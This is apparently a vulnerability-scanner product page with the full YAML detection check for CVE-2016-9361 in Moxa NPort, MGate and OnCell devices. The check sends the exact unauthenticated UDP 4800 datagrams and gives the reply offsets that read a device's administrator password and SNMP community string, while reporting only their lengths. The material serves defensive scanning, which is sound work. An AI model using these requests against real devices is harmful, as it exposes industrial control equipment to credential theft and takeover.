Moxa NPort — 1 vulnerability check
noctis ships 1 vulnerability check for Moxa NPort, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Moxa NPort / MGate / OnCell admin password and SNMP community readable over UDP 4800
| CVE | CVE-2016-9361 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | exposure — Exposure |
| Services | iims, moxa |
| Detection | set_var, udp_probe, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/moxa-nport/CVE-2016-9361.yaml |
Sends the Moxa management protocol requests on UDP port 4800: an identify request, then the two unlock functions, then the requests for the SNMP read community string (function 0x28) and the administrator password (function 0x29), each carrying the device identifier returned by the identify reply and no authentication. A device that returns a non-empty printable string for the password or the community, in a reply whose function code answers the request, discloses its administrative credentials to anyone who can send it a UDP datagram. Only reads are performed; the credential values are never reported, only their lengths.
How noctis detects it
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- UDP datagram probe
- UDP datagram probe
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- Checks
v.leakfor^yes$→ finding QoD 97: Moxa device returns its administrator password / SNMP community over the UDP 4800 management protocol
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-9361
- https://www.cisa.gov/news-events/ics-advisories/icsa-16-336-02
- https://github.com/reidmefirst/MoxaPass
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb
Feed source — tests/vulnerabilities/moxa-nport/CVE-2016-9361.yaml
# Moxa NPort / MGate / OnCell — credentials readable over the UDP 4800 management protocol (CVE-2016-9361).
#
# Credit: detection adapted from Greenbone's `2017/gb_moxa_nport_cve-2016-9361.nasl`
# (GPL-2.0-only) with its `gb_moxa_protocol_detect.nasl` helper (the identify
# request), and from the Metasploit module
# `auxiliary/admin/scada/moxa_credentials_recovery`. Same requests: identify
# (function 0x01), then function 0x28 (SNMP read community) and 0x29 (admin
# password), each carrying the 20 bytes the identify reply returned.
#
# Real exploitation, read-only: the feed really reads the admin password and the
# SNMP read community from the device (that IS the exploit); nothing is written.
# The values never leave the parse step — the finding carries their lengths only.
#
# Datagram layout (confirmed against the Metasploit module):
# request: 1 byte function | 00 00 | length 0x14 | 20 bytes (identify reply, byte 4 on)
# identify: request 01 00 00 08 00 00 00 00 -> 24-byte reply 81 00 .. | 00000000 |
# model (6) | MAC (6, Moxa OUI 00:90:e8) | 4 bytes
# reply: function | 0x80 as its first byte; byte 1 = 0x04 when refused
# 0x28 reply: SNMP read community, NUL-terminated, from byte 24 (reply > 32 bytes)
# 0x29 reply: admin password, NUL-terminated, from byte 200 (reply > 200 bytes)
#
# Better than the NASL:
# - the NASL needs a prior detection run to have stored the identify reply and
# only checks that *a* reply is longer than 32 / 200 bytes; here the reply's
# function byte must be the request's plus 0x80 (an echo server, which sends
# our own datagram back, or any other UDP service is not reported) and the
# value must be a printable NUL-terminated string;
# - the identify reply must be well formed (0x81, 0x00) before anything else is
# sent;
# - the two "unlock" functions the Metasploit module sends first (0x16, 0x1e) are
# sent too, so devices that need them (NPort 6000, MGate) are not missed;
# - an empty value (no password configured) or a refusal (function byte 1 = 0x04,
# what fixed firmware answers) is not reported, and nothing about the values
# reaches the evidence.
uid: 211cb7b9-b191-4e99-bc3b-311b71cddd0d
name: "Moxa NPort / MGate / OnCell admin password and SNMP community readable over UDP 4800 (CVE-2016-9361)"
description: |
Sends the Moxa management protocol requests on UDP port 4800: an identify
request, then the two unlock functions, then the requests for the SNMP read
community string (function 0x28) and the administrator password (function
0x29), each carrying the device identifier returned by the identify reply and
no authentication. A device that returns a non-empty printable string for the
password or the community, in a reply whose function code answers the request,
discloses its administrative credentials to anyone who can send it a UDP
datagram. Only reads are performed; the credential values are never reported,
only their lengths.
cves: [CVE-2016-9361]
cvss: 9.8
severity: critical
category: exposure
confidence_base: 0.30
tags: [moxa, nport, mgate, oncell, ics, scada, serial-device-server, udp, credential-disclosure, unauthenticated]
services: [iims, moxa]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-9361"
- "https://www.cisa.gov/news-events/ics-advisories/icsa-16-336-02"
- "https://github.com/reidmefirst/MoxaPass"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb"
steps:
- id: init-ident
action: set_var
var_name: ident
var_value: {responded: false}
- id: init-snmp
action: set_var
var_name: sn
var_value: {responded: false}
- id: init-pw
action: set_var
var_name: pw
var_value: {responded: false}
# ── 1. Identify (function 0x01).
- id: identify
action: udp_probe
port: "{{port}}"
timeout_secs: 5
send_hex: "0100000800000000"
store_as: ident
- id: parse-ident
action: script
store_as: id
code: |
let h = if ident.responded == true && type_of(ident.response_hex) == "string" { tolower(ident.response_hex) } else { "" };
let n = strlen(h) / 2;
let ok = n == 24 && substr(h, 0, 3) == "8100";
let tail = if ok { substr(h, 8, 47) } else { "" };
#{
ok: ok,
model: if ok { substr(h, 16, 27) } else { "" },
mac: if ok { substr(h, 28, 39) } else { "" },
unlock1: "16000014" + tail,
unlock2: "1e000014" + tail,
snmp: "28000014" + tail,
pw: "29000014" + tail
}
# ── 2. Unlock functions (as the Metasploit module does); their replies are not used.
- id: unlock1
action: udp_probe
condition: "id.ok == true"
port: "{{port}}"
timeout_secs: 2
send_hex: "{{id.unlock1}}"
- id: unlock2
action: udp_probe
condition: "id.ok == true"
port: "{{port}}"
timeout_secs: 2
send_hex: "{{id.unlock2}}"
# ── 3. Read the SNMP community (0x28) and the admin password (0x29).
- id: read-snmp
action: udp_probe
condition: "id.ok == true"
port: "{{port}}"
timeout_secs: 5
send_hex: "{{id.snmp}}"
store_as: sn
- id: read-pw
action: udp_probe
condition: "id.ok == true"
port: "{{port}}"
timeout_secs: 5
send_hex: "{{id.pw}}"
store_as: pw
# Extract the NUL-terminated printable string at `off`; "" when the reply is
# not the one requested (function byte != request + 0x80), too short, or the
# string is empty / unprintable. Only its length is kept.
- id: check-secrets
action: script
store_as: v
code: |
fn cstr_len(r, fc, off, min_total) {
let h = if r.responded == true && type_of(r.response_hex) == "string" { tolower(r.response_hex) } else { "" };
let n = strlen(h) / 2;
if n <= min_total || substr(h, 0, 1) != fc || substr(h, 2, 3) != "00" { return 0; }
let i = off;
let len = 0;
while i < n && len < 128 {
let b = u8(substr(h, i * 2, i * 2 + 1));
if b == 0 { return len; }
if b < 33 || b > 126 { return 0; }
len += 1;
i += 1;
}
0
}
let sl = cstr_len(sn, "a8", 24, 32);
let pl = cstr_len(pw, "a9", 200, 200);
#{
snmp_len: sl,
pw_len: pl,
leak: if sl > 0 || pl > 0 { "yes" } else { "no" },
what: (if pl > 0 { "administrator password (" + pl + " characters)" } else { "" })
+ (if pl > 0 && sl > 0 { " and " } else { "" })
+ (if sl > 0 { "SNMP read community (" + sl + " characters)" } else { "" })
}
- id: report-credentials
action: match
condition: "id.ok == true"
source: v.leak
pattern: "^yes$"
on_match:
finding:
title: "Moxa device returns its administrator password / SNMP community over the UDP 4800 management protocol"
description: "The Moxa management protocol on this UDP port answered unauthenticated requests with the device's credentials. Anyone who can send a datagram to the port can read the administrator password and the SNMP read community string and then take over the device (serial ports, configuration and the network it bridges)."
remediation: "Update the device to the firmware fixed for CVE-2016-9361 (see the vendor advisory for the model), set a console password, and block UDP port 4800 from untrusted networks. Change the administrator password and SNMP community: they are exposed."
confidence_delta: 0.65
qod: 97
evidence: "Moxa management protocol (device model code {{id.model}}, MAC {{id.mac}}) returned without authentication: {{v.what}}; the values are not recorded"